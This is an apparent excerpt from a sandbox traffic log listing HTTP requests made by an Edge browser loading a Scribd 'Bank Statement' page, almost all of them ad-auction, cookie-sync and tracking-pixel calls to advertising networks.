Source: global traffic	HTTP traffic detected: GET /api/sync/iframe/?cid=&gdpr=0&gdpr_consent=&us_privacy=1-N- HTTP/1.1Host: sync.cootlogix.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=9MI14eiyeLlIybvGwTPHksJBD4YJxwQBWVND3JTWk0AdVR5TQAUdBQwZgYMHVd8D3pOVxRlW3ZmUQgYAShUKxhREiVPYjYECEgEe1UoTwBUa1VhNlYMTVV0VSobVUEmQWRgVF4aBnhZLU1AWmVBZTRRXElUeF96S1ZFJkdkYVJZHAN7CipbTlRyEWdlVgwfUyhbfU1TFXdHZWcBChxSLwhrVUBAcURkMVddHF14CX0dVU8mTmxoAQxNUXhOFFVAFSgCOiRHU0lJbgstCRBUfQwpfEcaHBY%2FBSYXQExlTjFoBg9IBypBKEADR2pPNmhRRBgDL1VkS1NHIxQyZVZRSVQoTmVbARkpGTEzEQAWCwUIa0NAQHBPNWJXW01ceV5%2FTFtCcBZiYgReSV0tTjQ%3D
Source: global traffic	HTTP traffic detected: POST /openrtb_2_5/pbjs/auction/request?profileId=207&av=37&wv=9.23.0&cb=18124576800&lsavail=1&networkId=6097 HTTP/1.1Host: grid-bidder.criteo.comConnection: keep-aliveContent-Length: 1779sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /hbjson HTTP/1.1Host: grid.bidswitch.netConnection: keep-aliveContent-Length: 1373sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /universal/v1?supply_id=WYu2BXv1 HTTP/1.1Host: btlr.sharethrough.comConnection: keep-aliveContent-Length: 1727sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /exchange/prebid?pbav=9.23.0&p=%5B%7B%22placement_id%22%3A%22scribd_adhesion%22%2C%22callback_id%22%3A%221247a3628245523a%22%2C%22sizes%22%3A%5B%5B750%2C100%5D%2C%5B728%2C90%5D%2C%5B468%2C100%5D%2C%5B468%2C60%5D%2C%5B320%2C100%5D%2C%5B300%2C100%5D%2C%5B320%2C50%5D%2C%5B300%2C50%5D%2C%5B234%2C60%5D%2C%5B1%2C1%5D%5D%2C%22ym_placement_id%22%3A%223316241398931333203%22%2C%22tid%22%3A%22abbfc083-7720-48a9-9e59-c5ac58baca7e%22%2C%22auctionId%22%3A%225c23c260-4b26-4c49-ae18-c358526e5117%22%7D%5D&page_url=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&bust=1739863208896&dnt=false&description=Bank%20Statement%20-%20Free%20download%20as%20PDF%20File%20(.pdf)%2C%20Text%20File%20(.txt)%20or%20read%20online%20for%20free.%20&tmax=3000&userConsent=%7B%22gdprApplies%22%3A%22%22%2C%22cmp%22%3A%22%22%2C%22gpp%22%3A%22%22%2C%22gpp_sid%22%3A%5B%5D%7D&us_privacy=1-N-&pr=&scrd=1&title=Bank%20Statement%20%7C%20PDF%20%7C%20Debit%20Card%20%7C%20Automated%20Teller%20Machine&w=1232&h=910&schain=%7B%22ver%22%3A%221.0%22%2C%22complete%22%3A1%2C%22nodes%22%3A%5B%7B%22asi%22%3A%22freestar.com%22%2C%22sid%22%3A%221651%22%2C%22hp%22%3A1%7D%5D%7D HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863209035&to=300&aun=scribd_adhesion&pv=3eb9ce8d-c3a7-44b7-9364-996578dde7cb&maxw=750&maxh=100&si=1016135&pi=3&bf=750x100%2C728x90%2C468x100%2C468x60%2C320x100%2C300x100%2C320x50%2C300x50%2C234x60%2C1x1&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=6605&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /universal/v1?supply_id=WYu2BXv1 HTTP/1.1Host: btlr.sharethrough.comConnection: keep-aliveContent-Length: 1727sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863209035&to=300&aun=scribd_adhesion&pv=3eb9ce8d-c3a7-44b7-9364-996578dde7cb&maxw=750&maxh=100&si=1016138&pi=3&bf=750x100%2C728x90%2C468x100%2C468x60%2C320x100%2C300x100%2C320x50%2C300x50%2C234x60%2C1x1&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=6605&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /universal/v1?supply_id=WYu2BXv1 HTTP/1.1Host: btlr.sharethrough.comConnection: keep-aliveContent-Length: 1727sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /hb?pid=3617&domain=scribd.com&ccpa=1-N- HTTP/1.1Host: hb.undertone.comConnection: keep-aliveContent-Length: 1123sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /translator?source=prebid-client HTTP/1.1Host: hbopenbid.pubmatic.comConnection: keep-aliveContent-Length: 1962sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /prebid/multi/66bccd47a52481685a6ab90d HTTP/1.1Host: prebid.cootlogix.comConnection: keep-aliveContent-Length: 1344sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=py1141sfETp9P0vvh1pSlEWJCYEVzVCBVRSalIHQFIgbUgJZFIURQtVRlIWAndkEwpnBRRURBNGBRIHITBIWzEDEhRQBxZQElckY0lYZlJUWkoEFgIWUnVsSVoyB0EXXgFAAEQFJmBFXWQSWlRdV0MEQAMjYhQOZARHFVgBQQYXBSBjE11yHFRAWVVEBENXcWdDC2QDF0ZYAEcBFgByMhMbfBJAQFsBEQNHA31gFQ00B08XUQlIVRZScWBSZHwSFRkdXwQTSVZpdhddIEJUTBNMXBMAAzYnGVY%2BEkxUUVRIUhVXJzJdWGlRR1tQU0gFXgcjN0kUYgFHEgtXRQJLVnQwUhVyUxkYBlQTRRoJKx0UG2oSQEFQUEIDQVJ8YUIPZQlCQQkHQlBEVn01UkQ%3D
Source: global traffic	HTTP traffic detected: POST /universal/v1?supply_id=WYu2BXv1 HTTP/1.1Host: btlr.sharethrough.comConnection: keep-aliveContent-Length: 1727sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /idsync/ex/receive?partner_id=3185&partner_device_id=AU1D-0100-001739863208-59L27RBO-LEXM&partner_url=https://ids.ad.gt%2Fapi%2Fv1%2Ftapad_match%3Fid%3DAU1D-0100-001739863208-59L27RBO-LEXM%26tapad_id%3D%24%7BTA_DEVICE_ID%7D HTTP/1.1Host: pixel.tapad.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /syncframe?origin=criteoPrebidAdapter&topUrl=www.scribd.com&us_privacy=1-N-&gpp= HTTP/1.1Host: gum.criteo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863209035&to=300&aun=scribd_adhesion&pv=3eb9ce8d-c3a7-44b7-9364-996578dde7cb&maxw=750&maxh=100&si=1016132&pi=3&bf=750x100%2C728x90%2C468x100%2C468x60%2C320x100%2C300x100%2C320x50%2C300x50%2C234x60%2C1x1&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=6605&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /universal/v1?supply_id=WYu2BXv1 HTTP/1.1Host: btlr.sharethrough.comConnection: keep-aliveContent-Length: 1727sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /rtb/bid?src=prebid_prebid_9.23.0 HTTP/1.1Host: ap.lijit.comConnection: keep-aliveContent-Length: 3113sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863209036&to=300&aun=scribd_adhesion&pv=3eb9ce8d-c3a7-44b7-9364-996578dde7cb&maxw=750&maxh=100&si=1016136&pi=3&bf=750x100%2C728x90%2C468x100%2C468x60%2C320x100%2C300x100%2C320x50%2C300x50%2C234x60%2C1x1&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=6605&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/UCookieSetPug?ird=1&rd=https%3A%2F%2Fids.ad.gt%2Fapi%2Fv1%2Fpbm_match%3Fpbm%3D%23PM_USER_ID%26id%3DAU1D-0100-001739863208-59L27RBO-LEXM HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /hbid/imp?displaymanager=Prebid.js%20-%20gumgum&displaymanagerver=9.23.0&lt=1739863209036&to=300&aun=scribd_adhesion&pv=3eb9ce8d-c3a7-44b7-9364-996578dde7cb&maxw=750&maxh=100&si=1016137&pi=3&bf=750x100%2C728x90%2C468x100%2C468x60%2C320x100%2C300x100%2C320x50%2C300x50%2C234x60%2C1x1&uspConsent=1-N-&schain=1.0%2C1!freestar.com%2C1651%2C1%2C%2C%2C&vw=1232&vh=910&sw=1280&sh=1024&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tpl=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ce=false&dpr=1&jcsi=%7B%22t%22%3A0%2C%22rq%22%3A8%2C%22pbv%22%3A%229.23.0%22%7D&ogu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ns=6605&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36%20Edg%2F117.0.2045.47&dnt=0&os=Windows&osv=10&dt=2&lang=en&make=&model= HTTP/1.1Host: g2.gumgum.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /header/auction?lib=prebid&v=9.23.0&referrer=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tmax=3000&us_privacy=1-N- HTTP/1.1Host: tlx.3lift.comConnection: keep-aliveContent-Length: 2664sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /AdServer/js/user_sync.html?kdntuid=1&p=156696&us_privacy=1-N- HTTP/1.1Host: ads.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /a/api/fastlane.json?account_id=16924&site_id=499626&zone_id=2978060&size_id=2&alt_size_ids=1%2C19%2C39%2C43%2C44%2C117%2C221&us_privacy=1-N-&rp_schain=1.0,1!freestar.com,1651,1,,,&rf=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tg_v.id=6153141f-7ee9-4f73-a36b-ee3a444bcc92&tg_i.domain=scribd.com&tg_i.page=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tg_i.name=scribd-com&tg_i.cat=IAB5&tg_i.sectioncat=IAB5&tg_i.pagecat=IAB5&tg_i.mobile=0&tg_i.fs_optimized=false&tg_i.fs_site=6111&tg_i.fs_ad_product=stickyFooter&tk_flint=pbjs_lite_v9.23.0&x_source.tid=5c23c260-4b26-4c49-ae18-c358526e5117&l_pb_bid_id=1198e09ef089be35&p_screen_res=1280x1024&rp_secure=1&x_imp.ext.tid=abbfc083-7720-48a9-9e59-c5ac58baca7e&p_site.mobile=0&rp_maxbids=1&m_ch_ua=%22Microsoft%20Edge%22%7Cv%3D%22117%22%2C%22Not%3BA%3DBrand%22%7Cv%3D%228%22%2C%22Chromium%22%7Cv%3D%22117%22&m_ch_full_ver=%22Microsoft%20Edge%22%7Cv%3D%22117%22%2C%22Not%3BA%3DBrand%22%7Cv%3D%228%22%2C%22Chromium%22%7Cv%3D%22117%22&m_ch_mobile=%3F0&m_ch_platform=Windows&slots=1&rand=0.3352172527725432 HTTP/1.1Host: fastlane.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: 